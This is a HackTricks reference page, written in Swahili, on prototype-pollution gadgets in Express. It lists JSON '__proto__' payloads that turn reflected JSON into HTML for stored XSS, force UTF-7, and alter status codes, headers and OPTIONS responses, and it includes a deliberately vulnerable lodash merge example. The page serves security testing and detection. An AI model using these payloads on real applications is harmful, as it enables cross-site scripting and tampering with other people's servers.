Express Prototype Pollution Gadgets
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Serve XSS responses
Kwa maelezo zaidi angalia utafiti wa asili
Badilisha aina ya maudhui ya JSON kuwa HTML
Katika programu ya Express inayotumia aina ya maudhui ya majibu ya JSON na kuakisi JSON:
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})
Katika hali hizi, XSS kawaida haiwezekani na aina ya maudhui ya JSON. Hata hivyo, kwa uchafuzi wa prototype tunaweza kuchanganya Express kutoa jibu la HTML. Uthibitisho huu unategemea programu kutumia res.send(obj)
na kutumia parser ya mwili na aina ya maudhui ya application/json.
{ "__proto__": { "_body": true, "body": "<script>evil()" } }
Kwa kuharibu mali za body
na _body
, inawezekana kusababisha Express kutoa aina ya maudhui ya HTML na kuonyesha mali ya _body
, na kusababisha XSS iliyohifadhiwa.
Onyesha UTF7
Inawezekana kufanya express kuonyesha maudhui ya UTF-7 kwa:
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }
Mbinu za Skanning Salama
Nafasi za JSON
PP ifuatayo itafanya sifa ndani ya JSON kuwa na nafasi ya ziada ambayo haitavunja utendaji:
{ "__proto__": { "json spaces": " " } }
Kisha JSON iliyoakisi itaonekana kama:
{"foo": "bar"} -- Note the extra space
Exposed Headers
Gadget ifuatayo ya PP itafanya seva itume nyuma kichwa cha HTTP: Access-Control-Expose_headers: foo
{ "__proto__": { "exposedHeaders": ["foo"] } }
Inahitaji moduli ya CORS kufungwa
Njia ya OPTIONS
Kwa payload ifuatayo, inawezekana kuficha njia kutoka kwa jibu la OPTIONS:
// Original reponse: POST,GET,HEAD
// Payload:
{"__proto__":{"head":true}}
//New response: POST;GET
Hali
Inawezekana kubadilisha kodi ya hali iliyorudishwa kwa kutumia payload ya PP ifuatayo:
{ "__proto__": { "status": 510 } }
Kosa
Unapoweka kwenye prototype kwa kutumia primitive kama string, inazalisha operesheni isiyo na athari kwa sababu prototype inapaswa kuwa kitu. Ikiwa unajaribu kuweka kitu cha prototype kwenye Object.prototype
yenyewe, hii itasababisha kutoa hitilafu. Tunaweza kutumia tabia hizi mbili ili kubaini ikiwa uchafuzi wa prototype umefanikiwa:
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception
Reflected Value
Wakati programu inajumuisha kitu katika jibu lake, kuunda sifa yenye jina lisilo la kawaida pamoja na __proto__
kunaweza kuwa na maana. Kwa hakika, ikiwa sifa hiyo pekee isiyo ya kawaida inarudishwa katika jibu, hii inaweza kuashiria udhaifu wa programu:
{ "unusualName": "value", "__proto__": "test" }
Zaidi ya hayo, katika hali ambapo maktaba kama Lodash inatumika, kuweka mali kupitia uchafuzi wa prototype (PP) na moja kwa moja ndani ya kitu kunatoa njia nyingine ya uchunguzi. Ikiwa mali kama hiyo imeachwa kwenye jibu, inaonyesha kwamba Lodash inathibitisha uwepo wa mali hiyo katika kitu cha lengo kabla ya kuungana:
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash
Misc
Ruhusu Vidoti
Kuna chaguo katika Express kinachokuruhusu kuunda vitu kutoka kwa vigezo vya mfuatano wa swali.
Unaweza hakika kukitumia katika mnyororo wa hitilafu ili kutumia udhaifu wa uchafuzi wa prototype.
{ "__proto__": { "allowDots": true } }
?foo.bar=baz
inaunda kitu katika Node.
Marejeo
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.